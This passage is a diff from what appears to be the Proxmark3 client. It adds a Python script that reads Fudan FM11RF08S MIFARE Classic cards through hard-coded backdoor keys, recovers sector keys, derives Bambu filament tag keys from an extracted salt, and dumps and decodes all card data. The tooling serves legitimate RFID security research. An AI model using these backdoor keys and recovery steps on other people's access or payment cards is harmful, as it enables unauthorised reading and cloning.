parser.add_argument('-f', '--force', action='store_true', help='force recovery of keys') + parser.add_argument('-b', '--bambu', action='store_true', help='force Bambu tag decode') + parser.add_argument('-m', '--mad', action='store_true', help='force M.A.D. decode') + parser.add_argument('-v', '--validate', action='store_true', help='check Fudan signature (requires internet)') + parser.add_argument('--fast', action='store_true', help='use ecfill for faster card transactions') + + args = parser.parse_args() + + if args.force is True: + args.recover = True + return args + + +def getBackdoorKey(): + r"""Find backdoor key. + + [=] # | sector 00 / 0x00 | ascii + [=] ----+-------------------------------------------------+----------------- + [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. + + globals: + - p (R) + """ + # FM11RF08S FM11RF08 FM11RF32 + dklist = ["A396EFA4E24F", "A31667A8CEC1", "518b3354E760"] + + lprint("\nTrying known backdoor keys...") + + bdkey = "" + for k in dklist: + cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" + lprint(f"\n`{cmd}`", end='', flush=True) + res = p.console(cmd) + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + blk0 = line[10:56+1] + if res == 0: + s = color('ok', fg='green') + lprint(f" ( {s} )", prompt='') + bdkey = k + break + s = color('fail', fg='yellow') + lprint(f" ( {s} ) [{res}]", prompt='') + + if bdkey == "": + lprint("\n Unknown key, or card not detected.", prompt="[" + color("!", fg="red") + "]") + return None, None + return bdkey, blk0 + + +def getUIDfromBlock0(blk0): + """Extract UID from block 0.""" + uids = blk0[0:11] # UID string : "11 22 33 44" + uid = bytes.fromhex(uids.replace(' ', '')) # UID (bytes) : 11223344 + return uid + + +def decodeBlock0(blk0): + """Extract data from block 0.""" + lprint() + lprint(" UID BCC ++---- RF08* ID -----++") + lprint(" ! ! SAK !! !!") + lprint(" ! ! ! ATQA !! Fudan Sig !!") + lprint(" !---------. !. !. !---. VV .---------------. VV") + # 0 12 15 18 24 27 45 + # ! ! ! ! ! ! ! + # 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF + lprint(f" Block 0 : {blk0}") + + # --- decode block 0 --- + + uid = getUIDfromBlock0(blk0) + bcc = int(blk0[12:14], 16) # BCC + chk = 0 # calculate checksum + for h in uid: + chk ^= h + + sak = int(blk0[15:17], 16) # SAK + atqa = int(blk0[18:23].replace(' ', ''), 16) # 0x7788 + + fida = int(blk0[24:26], 16) # Fudan ID 0x88 + fidb = int(blk0[45:47], 16) # Fudan ID 0xFF + # fid = (fida<<8)|fidb # Fudan ID 0x88FF + + hash = blk0[27:44] # Fudan hash "99 AA BB CC DD EE" + + is08S = False + + type = f"[{fida:02X}:{fidb:02X}]" # type/name + if fidb == 0x90: + if fida == 0x01 or fida == 0x03 or fida == 0x04: + type += " - Fudan FM11RF08S" + is08S = True + + elif fidb == 0x1D: + if fida == 0x01 or fida == 0x02 or fida == 0x03: + type += " - Fudan FM11RF08" + + elif fidb == 0x91 or fidb == 0x98: + type += " - Fudan FM11RF08 (never seen in the wild)" + + else: + type += " - Unknown (please report)" + + # --- show results --- + + lprint() + + if bcc == chk: + desc = "verified" + else: + desc = f"fail. Expected {chk:02X}" + lprint(f" UID/BCC : {uid.hex().upper()}/{bcc:02X} - {desc}") + + if sak == 0x01: + desc = "NXP MIFARE TNP3xxx 1K" + elif sak == 0x08: + desc = "NXP MIFARE CLASSIC 1k | Plus 1k | Ev1 1K" + elif sak == 0x09: + desc = "NXP MIFARE Mini 0.3k" + elif sak == 0x10: + desc = "NXP MIFARE Plus 2k" + elif sak == 0x18: + desc = "NXP MIFARE Classic 4k | Plus 4k | Ev1 4k" + else: + desc = "{unknown}" + lprint(f" SAK : {sak:02X} - {desc}") + lprint(f" ATQA : {atqa:04X}") # show ATQA + lprint(f" Fudan ID : {type}") # show type + lprint(f" Fudan Sig: {hash}") # show ?Partial HMAC? + + if not is08S: + lprint("\n This script is only for the RF08S cards") + lprint(" Other cards can be cracked with `hf mf autopwn`") + sys.exit(13) + + +def fudanValidate(blk0, live=False): + """Fudan validation.""" + url = "https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest" + hdr = "Content-Type: application/text; charset=utf-8" + post = f"{blk0.replace(' ', '')}" + + lprint(f"\n Validator:\n`wget -q -O -" + f" --header=\"{hdr}\"" + f" --post-data \"{post}\"" + f" {url}" + " | json_pp`") + + if live: + # Warning, this import causes a "double free or corruption" crash if the script is called twice... + # So for now we limit the import only when really needed + try: + import requests + except ModuleNotFoundError: + s = color("not found", fg="red") + lprint(f"Python module 'requests' {s}, please install!", prompt="[" + color("!", fg="red") + "] ") + return + lprint("\nCheck Fudan signature (requires internet)...") + + headers = {"Content-Type": "application/text; charset=utf-8"} + resp = requests.post(url, headers=headers, data=post) + + if resp.status_code != 200: + lprint(f"HTTP Error {resp.status_code} - check request not processed") + + else: + r = json.loads(resp.text) + if r['data'] is not None: + desc = f" {{{r['data']}}}" + else: + desc = "" + lprint(f"The man from Fudan, he say: {r['code']} - {r['message']}{desc}") + else: + s = color('--validate', fg="yellow") + lprint(f'\n Use {s} to perform Fudan signature check automatically', prompt='[?]') + + +def loadKeys(keyfile): + """Load keys from file. + + If keys cannot be loaded AND --recover is specified, then run key recovery + """ + key = [[b'' for _ in range(2)] for _ in range(17)] # create a fresh array + + lprint("\nLoad keys from file... " + color(f"{keyfile}", fg="yellow")) + + try: + with (open(keyfile, "rb")) as fh: + for ab in [0, 1]: + for sec in range((16+2)-1): + key[sec][ab] = fh.read(6) + + except IOError: + return None + + return key + + +def recoverKeys(uid, kdf=[[]]): + """Run key recovery script.""" + badrk = 0 # 'bad recovered key' count (ie. not recovered) + + keys = [] + lprint("\nTrying KDFs:") + for fn in kdf: + lprint(f" {fn[0]:s}", end='') + keys = fn[1](uid) + if len(keys) > 0: + lprint(" .. Success", prompt='') + break + lprint(" .. Fail", prompt='') + + lprint("\nRunning recovery script, ETA: Less than 30 minutes") + + lprint('\n`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + r = recovery(quiet=False, keyset=keys) + lprint('`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + + if r is False: + return False + + keyfile = r['keyfile'] + rkey = r['found_keys'] + # fdump = r['dumpfile'] + # rdata = r['data'] + + for k in range(0, 16+1): + for ab in [0, 1]: + if rkey[k][ab] == "": + if badrk == 0: + lprint("Some keys were not recovered: ", end='') + else: + lprint(", ", end='', prompt='') + badrk += 1 + + kn = k + if kn > 15: + kn += 16 + lprint(f"[{kn}/", end='', prompt='') + lprint("A]" if ab == 0 else "B]", end='', prompt='') + if badrk > 0: + lprint("", prompt='') + return keyfile + + +def kdfBambu1(uid): + """Derive keys from a given UID using the Bambu HKDF algorithm and validates the card data. + + This function generates two keys (keyA and keyB) using the Bambu HKDF algorithm with a predefined salt and context. + It then attempts to read block 13 from sector 3 of the card using keyA. If successful, it decodes the data + and checks if it matches a specific date format. If the data is valid, it returns a list of derived keys. + + Args: + uid (bytes): The UID of the card. + + Returns: + list: A list of derived keys if the card data is valid. + bool: False if any step in the process fails. + """ + from Cryptodome.Protocol.KDF import HKDF + from Cryptodome.Hash import SHA256 + + # Generate all keys + try: + # extracted from Bambu firmware + salt = bytes([0x9a, 0x75, 0x9c, 0xf2, 0xc4, 0xf7, 0xca, 0xff, 0x22, 0x2c, 0xb9, 0x76, 0x9b, 0x41, 0xbc, 0x96]) + keyA = HKDF(uid, 6, salt, SHA256, 16, context=b"RFID-A\0") + keyB = HKDF(uid, 6, salt, SHA256, 16, context=b"RFID-B\0") + except Exception as e: + print(f"{e}") + return False + + # --- Grab block 13 (in sector 3) --- + cmd = f"hf mf rdbl -c 0 --key {keyA[3].hex()} --blk 12" + # lprint(f" `{cmd}`", flush=True, log=False, end='') + for retry in range(5): + p.console(cmd) + + found = False + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + lsub = line[4:76] + found = True + if found: + break + if not found: + return False + + # --- Try to decode it as a bambu date string --- + try: + dl = bytes.fromhex(lsub[6:53]).decode('ascii').rstrip('\x00') + except Exception: + return False + + # dl 2024_03_22_16_29 + # yy y y m m d d h h m m + exp = r"20[2-3][0-9]_[0-1][0-9]_[0-3][0-9]_[0-2][0-9]_[0-5][0-9]" + if not re.search(exp, dl): + return False + + # --- valid date string, we are confident this is a bambu card --- + keys = [] + for i in range(0, 15+1): + keys.append([keyA[i].hex(), keyB[i].hex()]) + + return keys + + +def verifyKeys(key): + """Verify keys. + + globals: + - p (R) + """ + badk = 0 + mad = False + + lprint("Checking keys...") + + for sec in range(0, 16+1): # 16 normal, 1 dark + sn = sec + if (sn > 15): + sn = sn + 16 + + for ab in [0, 1]: + bn = (sec * 4) + 3 + if bn >= 64: + bn += 64 + + cmd = f"hf mf rdbl -c {ab} --key {key[sec][ab].hex()} --blk {bn}" + lprint(f" `{cmd}`", end='', flush=True) + + res = p.console(cmd, capture=False) + lprint(" " * (3-len(str(bn))), end='', prompt='') + if res == 0: + s = color("ok", fg="green") + lprint(f" ( {s} )", end='', prompt='') + else: + s = color("fail", fg="red") + lprint(f" ( {s} )", end='', prompt='') + badk += 1 + key[sec][ab] = b'' + + # check for Mifare Application Directory + if (sec == 0) and (ab == 0) \ + and (key[0][0] == b'\xa0\xa1\xa2\xa3\xa4\xa5'): + mad = True + lprint(" - MAD Key", prompt='') + else: + lprint("", prompt='') + + if badk > 0: + s = color(f'{badk}', fg="red") + e = "s exist" if badk != 1 else " exists" + lprint(f" {s} bad key{e}", prompt="[" + color("!", fg="red") + "]") + rv = False, mad, key + + else: + lprint("All keys verified") + rv = True, mad, key + + if mad is True: + lprint("MAD key detected") + + return rv + + +def readBlocks(bdkey, fast=False): + r"""Read all block data - INCLUDING advanced verification blocks. + + [=] # | sector 00 / 0x00 | ascii + [=] ----+-------------------------------------------------+----------------- + [=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. + + globals: + - p (R) + """ + data = [] + blkn = list(range(0, 63 + 1)) + list(range(128, 135 + 1)) + + lprint("\nLoad blocks {0..63, 128..135}[64 + 8 = 72] from the card") + + blkn_todo = blkn + if fast: + # Try fast dump first + # The user uses keyhole #0 (-a) + # The vendor uses keyhole #1 (-b) + # The thief uses keyhole #4 (backdoor) + # |___ + cmd = f"hf mf ecfill -c 4 --key {bdkey}" + lprint(f"`{cmd}`", flush=True, log=False) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if "ok" in line: + cmd = "hf mf eview" + lprint(f"`{cmd}`", flush=True, log=False) + p.console(cmd) + for line in p.grabbed_output.split('\n'): + if " | " in line and "sec | blk | data" not in line: + lsub = line[11:83] + data.append(lsub) + blkn_todo = list(range(128, 135+1)) + + bad = 0 + for n in blkn_todo: + cmd = f"hf mf rdbl -c 4 --key {bdkey} --blk {n}" + lprint(f" `{cmd}`", flush=True, log=False, end='') + + for retry in range(5): + p.console(cmd) + + found = False + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + lsub = line[4:76] + data.append(lsub) + found = True + if found: + break + + s = color("ok", fg="green") + if not found: + data.append(f"{n:3d} | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ----------------") + bad += 1 + s = color("fail", fg="red") + + lprint(" " * (3 - len(str(n))), flush=True, log=False, end='', prompt='') + lprint(f' ( {s} )', flush=True, log=False, prompt='') + + s = color("ok", fg="green") + if bad > 0: + s = color("fail", fg="red") + + lprint(f'Loading ( {s} )', log=False) + return data, blkn + + +def patchKeys(data, key): + """Patch keys in to data. + + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... + """ + lprint("\nPatching keys in to data") + + for sec in range(0, 16 + 1): + blk = (sec * 4) + 3 # find "trailer" for this sector + if key is not None: + if key[sec][0] == b'': + keyA = "-- -- -- -- -- -- " + else: + kstr = key[sec][0].hex() + keyA = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) + + if key[sec][1] == b'': + keyB = "-- -- -- -- -- -- " + else: + kstr = key[sec][1].hex() + keyB = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) + + data[blk] = data[blk][:6] + keyA + data[blk][24:36] + keyB + + else: + data[blk] = data[blk][:6] + "-- -- -- -- -- -- " + data[blk][24:36] + "-- -- -- -- -- --" + return data + + +def dumpData(data, blkn): + """Dump data.""" + lprint() + lprint("===========") + lprint(" Card Data") + lprint("===========") + lprint() + + cnt = 0 + for n in blkn: + sec = (cnt // 4) + if sec > 15: + sec = sec + 16 + + if (n % 4 == 0): + lprint(f"{sec:2d}:{data[cnt]}") + else: + lprint(f" :{data[cnt]}") + + cnt += 1 + if (cnt % 4 == 0) and (n != blkn[-1]): # Space between sectors + lprint() + + +def detectBambu(data): + """Let's try to detect a Bambu card by the date strings...""" + try: + dl = bytes.fromhex(data[12][6:53]).decode('ascii').rstrip('\x00') + dls = dl[2:13] + ds = bytes.fromhex(data[13][6:41]).decode('ascii').rstrip('\x00') + except Exception: + return False + + # ds 24_03_22_16 + # dl 2024_03_22_16_29 + # yy y y m m d d h h m m + exp = r"20[2-3][0-9]_[0-1][0-9]_[0-3][0-9]_[0-2][0-9]_[0-5][0-9]" + + if re.search(exp, dl) and (ds == dls): + lprint("\nBambu date strings detected.") + return True + else: + lprint("\nBambu date strings not detected.") + return False + + +def dumpBambu(data): + """Dump bambu details. + + https://github.com/Bambu-Research-Group/RFID-Tag-Guide/blob/main/README.md + + 6 18 30 42 53 + | | | | | + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... + """ + try: + lprint() + lprint("===========") + lprint(" Bambu Tag") + lprint("===========") + lprint() + lprint("Decompose as Bambu tag .. ", end='') + + MaterialVariantIdentifier_s = bytes.fromhex(data[1][6:29]).decode('ascii').rstrip('\x00') + UniqueMaterialIdentifier_s = bytes.fromhex(data[1][30:53]).decode('ascii').rstrip('\x00') # [**] 8not16 + + FilamentType_s = bytes.fromhex(data[2][6:53]).decode('ascii').rstrip('\x00') + + DetailedFilamentType_s = bytes.fromhex(data[4][6:53]).decode('ascii').rstrip('\x00') + + Colour_rgba = int(data[5][6:17].replace(' ', ''), 16) + SpoolWeight_g = int(data[5][21:23] + data[5][18:20], 16) + Block5_7to8 = data[5][24:29] + FilamentDiameter_mm = struct.unpack('f', bytes.fromhex(data[5][30:41].replace(' ', '')))[0] + Block5_12to15 = data[5][42:50] + + DryingTemperature_c = int(data[6][9:11] + data[6][6:8], 16) + DryingTime_h = int(data[6][15:17] + data[6][12:14], 16) + BedTemperatureType_q = int(data[6][21:23] + data[6][18:20], 16) + BedTemperature_c = int(data[6][27:29] + data[6][24:26], 16) + MaxTemperatureForHotend_c = int(data[6][33:35] + data[6][30:32], 16) + MinTemperatureForHotend_c = int(data[6][39:41] + data[6][36:38], 16) + Block6_12to15 = data[6][42:50] + + # XCamInfo_x = bytes.fromhex(data[8][6:41].replace(' ', '')) + XCamInfo_x = data[8][6:41] + NozzleDiameter_q = struct.unpack('f', bytes.fromhex(data[8][42:53].replace(' ', '')))[0] + + # TrayUID_s = bytes.fromhex(data[9][6:53]).decode('ascii').rstrip('\x00') #[**] !ascii + TrayUID_s = data[9][6:53] + + Block10_0to3 = data[10][6:17] + SpoolWidth_um = int(data[10][21:23] + data[14][18:20], 16) + Block10_6to15 = data[10][24:50] + + ProductionDateTime_s = bytes.fromhex(data[12][6:53]).decode('ascii').rstrip('\x00') + + ShortProductionDateTime_s = bytes.fromhex(data[13][6:53]).decode('ascii').rstrip('\x00') + + # Block14_0to3 = data[14][6:17] + FilamentLength_m = int(data[14][21:23] + data[14][18:20], 16) + # Block14_6to15 = data[14][24:51] + + # (16blocks * 16bytes = 256) * 8bits = 2048 bits + hblk = [42, + 44, 45, 46, + 48, 49, 50, + 52, 53, 54, + 56, 57, 58, + 60, 61, 62] + Hash = [] + for b in hblk: + Hash.append(data[b][6:53]) + + lprint("[offset:length]", prompt='') + lprint(" Block 1:") + lprint(f" [ 0: 8] MaterialVariantIdentifier_s = \"{MaterialVariantIdentifier_s}\"") + lprint(f" [ 8: 8] UniqueMaterialIdentifier_s = \"{UniqueMaterialIdentifier_s}\"") + lprint(" Block 2:") + lprint(f" [ 0:16] FilamentType_s = \"{FilamentType_s}\"") + lprint(" Block 4:") + lprint(f" [ 0:16] DetailedFilamentType_s = \"{DetailedFilamentType_s}\"") + lprint(" Block 5:") + lprint(f" [ 0: 4] Colour_rgba = 0x{Colour_rgba:08X}") + lprint(f" [ 4: 2] SpoolWeight_g = {SpoolWeight_g}g") + lprint(f" [ 6: 2] Block5_7to8 = {{{Block5_7to8}}}") + lprint(f" [ 8: 4] FilamentDiameter_mm = {FilamentDiameter_mm}mm") + lprint(f" [12: 4] Block5_12to15 = {{{Block5_12to15}}}") + lprint(" Block 6:") + lprint(f" [ 0: 2] DryingTemperature_c = {DryingTemperature_c}^C") + lprint(f" [ 2: 2] DryingTime_h = {DryingTime_h}hrs") + lprint(f" [ 4: 4] BedTemperatureType_q = {BedTemperatureType_q}") + lprint(f" [ 6: 2] BedTemperature_c = {BedTemperature_c}^C") + lprint(f" [ 8: 2] MaxTemperatureForHotend_c = {MaxTemperatureForHotend_c}^C") + lprint(f" [10: 2] MinTemperatureForHotend_c = {MinTemperatureForHotend_c}^C") + lprint(f" [12: 4] Block6_12to15 = {{{Block6_12to15}}}") + lprint(" Block 8:") + lprint(f" [ 0:12] XCamInfo_x = {{{XCamInfo_x}}}") + lprint(f" [12: 4] NozzleDiameter_q = {NozzleDiameter_q:.6f}__") + lprint(" Block 9:") + # lprint(f" [ 0:16] TrayUID_s = \"{TrayUID_s}\"") + lprint(f" [ 0:16] TrayUID_s = {{{TrayUID_s}}} ; not ASCII") + lprint(" Block 10:") + lprint(f" [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f" [ 4: 2] SpoolWidth_um = {SpoolWidth_um}um") + lprint(f" [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(" Block 12:") + lprint(f" [ 0:16] ProductionDateTime_s = \"{ProductionDateTime_s}\"") + lprint(" Block 13:") + lprint(f" [ 0:16] ShortProductionDateTime_s = \"{ShortProductionDateTime_s}\"") + lprint(" Block 14:") + lprint(f" [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f" [ 4: 2] FilamentLength_m = {FilamentLength_m}m") + lprint(f" [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f"\n Blocks {hblk}:") + for i in range(0, len(hblk)): + lprint(f" [ 0:16] HashBlock[{i:2d}] = {{{Hash[i]}}} // #{hblk[i]:2d}") + + except Exception as e: + lprint(prompt='') + lprint(f"Failed: {e}") + + +# +============================================================================= +# Dump ACL +# +# ,-------------------. +# ( 2.2 : ACCESS BITS ) +# `-------------------' + +# The Access bits on both (used) Sectors is the same: 78 77 88 + +# Let's reorganize that according to the official spec Fig 9. +# Access C1 C2 C3 +# ========== =========== +# 78 77 88 --> 78 87 87 +# ab cd ef --> cb fa ed + +# The second nybble of each byte is the inverse of the first nybble. +# It is there to trap transmission errors, so we can just ignore it/them. + +# So our Access Control value is : {c, f, e} == {7, 8, 8} + +# Let's convert those nybbles to binary +# (c) 7 --> 0111 +# (f) 8 --> 1000 +# (e) 8 --> 1000 +# |||| ...and transpose them: +# |||| +# |||`--- 100 - Block 0 Access bits +# ||`---- 100 - Block 1 Access bits +# |`----- 100 - Block 2 Access bits +# `------ 011 - Block 3 Access bits [Sector Trailer] + +# Now we can use the lookup table [Table 3] to work out what we can do +# with the Sector Trailer (Block(S,3)): + +# | Key A | | Access Bits | | Key B | +# | read ¦ write | | read ¦ write | | read ¦ write | +# +------¦-------+ +------¦-------+ +------¦-------+ +# 000 : | -- ¦ KeyA | | KeyA ¦ -- | | KeyA ¦ KeyA | +# 001 : | -- ¦ KeyA | | KeyA ¦ KeyA | | KeyA ¦ KeyA | Transport Mode +# 010 : | -- ¦ -- | | KeyA ¦ -- | | KeyA ¦ -- | + +# 011 : | -- ¦ KeyB | | A+B ¦ KeyB | | -- ¦ KeyB | <-- Our Card! + +# 100 : | -- ¦ KeyB | | A+B ¦ -- | | -- ¦ KeyB | +# 101 : | -- ¦ -- | | A+B ¦ KeyB | | -- ¦ -- | +# 110 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | }__ +# 111 : | -- ¦ -- | | A+B ¦ -- | | -- ¦ -- | } The Same!? + +# Our card uses 011, for (both of) the (used) Sector Trailer(s). So: +# Both Key A and Key B can READ the Access Bits +# Key B can (additionally) WRITE to Key A, Key B (itself), and the Access Bits + +# Then we can do a similar lookup for the 3 data Blocks (in this Sector) +# This time using [Table 4] + +# | Data | Counter | +# | read ¦ write | Inc ¦ Dec | +# +------¦-------+------¦------+ +# 000 : | A+B ¦ A+B | A+B ¦ A+B | Transport Mode +# 001 : | A+B ¦ -- | -- ¦ A+B | +# 010 : | A+B ¦ -- | -- ¦ -- | +# 011 : | KeyB ¦ KeyB | -- ¦ -- | + +# 100 : | A+B ¦ KeyB | -- ¦ -- | <-- Our Card! + +# 101 : | KeyB ¦ -- | -- ¦ -- | +# 110 : | A+B ¦ KeyB | KeyB ¦ A+B | +# 111 : | -- ¦ -- | -- ¦ -- | + +# Our card uses 100, for all of the (used) Sectors. So: +# Both Key A and Key B can READ the Block +# Only Key B can WRITE to the Block +# The block cannot be used as a "counter" because: +# Neither key can perform increment nor decrement commands + +# WARNING: +# IF YOU PLAN TO CHANGE ACCESS BITS, RTFM, THERE IS MUCH TO CONSIDER ! +# ============================================================================== +def dumpAcl(data): + """Dump ACL. + + 6 18 24 27 30 33 42 53 + | | | | | | | | + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... + ab cd ef + """ + aclkh = [] # key header + aclk = [""] * 8 # key lookup + aclkx = [] # key output + + lprint() + lprint("=====================") + lprint(" Access Control List") + lprint("=====================") + lprint() + + aclkh.append(" _______________________________________________________ ") + aclkh.append("| | Sector Trailers |") + aclkh.append("| |----------------------------------------------|") + aclkh.append("| Sector |____Key_A_____||_Access_Bits__||____Key_B_____|") + aclkh.append("| | read ¦ write || read ¦ write || read ¦ write |") + aclkh.append("|--------+------¦-------++------¦-------++------¦-------|") + # "| xx | -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA |" + aclk[0] = "| -- ¦ KeyA || KeyA ¦ -- || KeyA ¦ KeyA | [000]" # noqa: E222 + aclk[1] = "| -- ¦ KeyA || KeyA ¦ KeyA || KeyA ¦ KeyA | [001]" # noqa: E222 + aclk[2] = "| -- ¦ -- || KeyA ¦ -- || KeyA ¦ -- | [010]" # noqa: E222 + aclk[3] = "| -- ¦ KeyB || A+B ¦ KeyB || -- ¦ KeyB | [011]" # noqa: E222 + aclk[4] = "| -- ¦ KeyB || A+B ¦ -- || -- ¦ KeyB | [100]" # noqa: E222 + aclk[5] = "| -- ¦ -- || A+B ¦ KeyB || -- ¦ -- | [101]" # noqa: E222 + aclk[6] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [110]" # noqa: E222 # yes, the same!? + aclk[7] = "| -- ¦ -- || A+B ¦ -- || -- ¦ -- | [111]" # noqa: E222 # ... + + acldh = [] # data header + acld = [""] * 8 # data lookup + acldx = [] # data output + + acldh.append(" _____________________________________ ") + acldh.append("| | Data Blocks |") + acldh.append("| |-----------------------------|") + acldh.append("| Block | Data || Counter |") + acldh.append("| | read ¦ write || Inc ¦ Dec |") + acldh.append("|-------+------¦-------++------¦------+") + # "| xxx | A+B ¦ A+B || A+B ¦ A+B | " + acld[0] = "| A+B ¦ A+B || A+B ¦ A+B | [000]" # noqa: E222 + acld[1] = "| A+B ¦ -- || -- ¦ A+B | [001]" # noqa: E222 + acld[2] = "| A+B ¦ -- || -- ¦ -- | [010]" # noqa: E222 + acld[3] = "| KeyB ¦ KeyB || -- ¦ -- | [011]" # noqa: E222 + acld[4] = "| A+B ¦ KeyB || -- ¦ -- | [100]" # noqa: E222 + acld[5] = "| KeyB ¦ -- || -- ¦ -- | [101]" # noqa: E222 + acld[6] = "| A+B ¦ KeyB || KeyB ¦ A+B | [110]" # noqa: E222 + acld[7] = "| -- ¦ -- || -- ¦ -- | [111]" # noqa: E222 + + idx = [[]] * (16+2) + + # --- calculate the ACL indices for each sector:block --- + for d in data: + bn = int(d[0:3], 10) + + if ((bn % 4) == 3): + sn = (bn // 4) + sec = sn if sn < 16 else sn - 16 + + c = int(d[27], 16) + f = int(d[31], 16) + e = int(d[30], 16) + r0 = ((c & (2**0)) << 2) | ((f & (2**0)) << 1) | ((e & (2**0)) ) # noqa: E202 + r1 = ((c & (2**1)) << 1) | ((f & (2**1)) ) | ((e & (2**1)) >> 1) # noqa: E202 + r2 = ((c & (2**2)) ) | ((f & (2**2)) >> 1) | ((e & (2**2)) >> 2) # noqa: E202 + r3 = ((c & (2**3)) >> 1) | ((f & (2**3)) >> 2) | ((e & (2**3)) >> 3) # noqa: E221 + idx[sec] = [r0, r1, r2, r3] + + # --- build the ACL conversion table --- + for d in data: + bn = int(d[0:3], 10) + sn = (bn // 4) + sec = sn if sn < 16 else sn - 16 + + if ((bn % 4) == 3): + aclkx.append(f"| {sn:2d} " + aclk[idx[sec][bn % 4]] + + f" {{{d[24:32]}}} -> {{{d[27]}{d[31]}{d[30]}}}") + else: + acldx.append(f"| {bn:3d} " + acld[idx[sec][bn % 4]]) + + # --- print it all out --- + for line in aclkh: + lprint(f" {line}") + i = 0 + for line in aclkx: + lprint(f" {line}") + if (i % 4) == 3: + lprint(" | | ¦ || ¦ || ¦ |") + i += 1 + + lprint() + + for line in acldh: + lprint(f" {line}") + i = 0 + for line in acldx: + lprint(f" {line}") + if (i % 3) == 2: + lprint(" | | ¦ || ¦ |") + i += 1 + + +def diskDump(data, uid, dpath): + """Full Dump.""" + dump18 = f'{dpath}hf-mf-{uid.hex().upper()}-dump18.bin' + + lprint('\nDump card data to file... ' + color(dump18, fg='yellow')) + + bad = False + try: + with open(dump18, 'wb') as f: + for d in data: + if '--' in d[6:53]: + bad = True + b = bytes.fromhex(d[6:53].replace(' ', '').replace('--', 'FF')) + f.write(b) + if bad: + lprint('Bad data exists, and has been saved as 0xFF') + + s = color('ok', fg='green') + lprint(f' Save file operations ( {s} )', prompt='[+]') + + except Exception as e: + s = color('fail', fg='red') + lprint(f' Save file operations: {e} ( {s} )', prompt='[!]') + + return dump18 + + +def dumpMad(dump18): + """Dump MAD. + + globals: + - p (R) + """ + lprint() + lprint("====================================") + lprint(" MiFare Application Directory (MAD)") + lprint("====================================") + lprint() + + cmd = f"hf mf mad --force --verbose --file {dump18}" + lprint(f"`{cmd}`", log=False) + + lprint('\n`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,\n') + + p.console(cmd) + + for line in p.grabbed_output.split('\n'): + lprint(line, prompt='') + + lprint('`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + + +if __name__ == "__main__": + main() diff --git a/client/pyscripts/fm11rf08s_recovery.py b/client/pyscripts/fm11rf08s_recovery.py index bdf5a0009..8b7eaffd8 100755 --- a/client/pyscripts/fm11rf08s_recovery.py +++ b/client/pyscripts/fm11rf08s_recovery.py @@ -1,17 +1,18 @@ #!/usr/bin/env python3 +""" +Combine several attacks to recover all FM11RF08S keys. -# Combine several attacks to recover all FM11RF08S keys -# -# Conditions: -# * Presence of the backdoor with known key -# -# Duration strongly depends on some key being reused and where. -# Examples: -# * 32 random keys: ~20 min -# * 16 random keys with keyA==keyB in each sector: ~30 min -# * 24 random keys, some reused across sectors: <1 min -# -# Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info +Conditions: +* Presence of the backdoor with known key + +Duration strongly depends on some key being reused and where. +Examples: +* 32 random keys: ~20 min +* 16 random keys with keyA==keyB in each sector: ~30 min +* 24 random keys, some reused across sectors: <1 min + +Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info +""" import os import sys @@ -19,13 +20,17 @@ import time import subprocess import argparse import json +import re import pm3 +from pm3_resources import find_tool, find_dict + # optional color support try: # pip install ansicolors from colors import color except ModuleNotFoundError: def color(s, fg=None): + """Return the string as such, without color.""" _ = fg return str(s) @@ -35,465 +40,156 @@ if sys.version_info < required_version: print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") exit() -BACKDOOR_RF08S = "A396EFA4E24F" +# First try FM11RF08S key +# Then FM11RF08 key as some rare *98 cards are using it too +# Then FM11RF32N key, just in case... +BACKDOOR_KEYS = ["A396EFA4E24F", "A31667A8CEC1", "518B3354E760"] + NUM_SECTORS = 16 NUM_EXTRA_SECTORS = 1 -DICT_DEF = "mfc_default_keys.dic" DEFAULT_KEYS = set() -if os.path.basename(os.path.dirname(os.path.dirname(sys.argv[0]))) == 'client': - # dev setup - TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", - "..", "..", "tools", "mfc", "card_only")) - DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", - "..", "dictionaries", DICT_DEF)) -else: - # assuming installed - TOOLS_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", - "..", "tools")) - DICT_DEF_PATH = os.path.normpath(os.path.join(f"{os.path.dirname(sys.argv[0])}", - "dictionaries", DICT_DEF)) -tools = { - "staticnested_1nt": os.path.join(f"{TOOLS_PATH}", "staticnested_1nt"), - "staticnested_2x1nt": os.path.join(f"{TOOLS_PATH}", 